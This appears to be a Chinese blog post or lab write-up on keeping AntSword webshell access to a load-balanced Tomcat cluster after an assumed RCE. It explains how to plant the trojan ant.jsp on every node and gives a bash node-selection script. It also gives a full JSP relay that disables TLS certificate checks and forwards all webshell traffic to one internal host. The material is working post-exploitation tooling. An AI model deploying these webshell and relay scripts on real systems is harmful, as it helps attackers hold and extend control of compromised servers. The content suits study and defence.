文章目录
- 1.场景描述
- [2.在蚁剑里添加 Shell](#2.在蚁剑里添加 Shell)
- 3.因为负载均衡而出现的问题
- 4.问题解决方案
-
- [4.1 方案1](#4.1 方案1)
- [4.2 方案2](#4.2 方案2)
- [4.3 方案3](#4.3 方案3)
1.场景描述
当前手里有一个以docker部署的Tomcat负载均衡环境。主机对外ip和端口为192.168.100.130:18080
我们假设其为一个真实的业务系统,存在一个rce漏洞,可以让我们获取webshell
假设目标根目录下已经有了自己上传的木马文件ant.jsp
2.在蚁剑里添加 Shell
测试能够成功是因为我在两个节点均上传了木马文件,但实际场合可能不止一两台,一旦负载均衡开始轮循,而轮循到的主机没有木马则会断开,所以需要注意的一点就是需要将每一台节点的相同位置都上传同样的木马文件
3.因为负载均衡而出现的问题
问题1:正如上述所说,一旦负载均衡开始轮循,而轮循到的主机没有木马则会断开,解决方法很简单,因为已经有了上传木马的漏洞,故只需要需要将每一台节点的相同位置都上传同样的木马文件
问题2:因为两个节点不断交替,所以我们在执行命令时,无法知道下次的请求交给哪台机器去执行
问题3:当我们需要在服务器上上传一些工具时,可能传到一半就切换到了另一台服务器,毕竟是采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,最后只能两个服务器均得到一部分残缺文件
问题4:由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。
4.问题解决方案
4.1 方案1
关掉其中一台服务
本次实验中是关掉1台服务器,但放到现实中恐怕要关掉几台几十台服务器才能完成只保留一台机器的目的,虽然能达成解决问题的目的,但造成的影响恐怕有点大,真实环境千万别试。
4.2 方案2
写一个判断机器的脚本,如果是自己想要操作的机器就执行,不是就不执行
c
myip=`hostname -i | awk '{print $2}'`
if [ $myip == "127.0.0.1" ];then
echo "Node1. I will execute command.\n======\n"
hostname -i
else
echo "Other. Try again."
fi
差不多是这样的模式,但它只能解决命令执行问题
4.3 方案3
在web层做一次流量转发
所有流量转发到一台机器上
转发脚本命令如下
c
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "http://172.20.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
不能用上传文件可能会有分片,只能选择新建再保存
多保存几次保证两台服务器上均有文件
然后用转发脚本重新登录
最后结果无论访问到哪台机器均会转发至172.0.0.2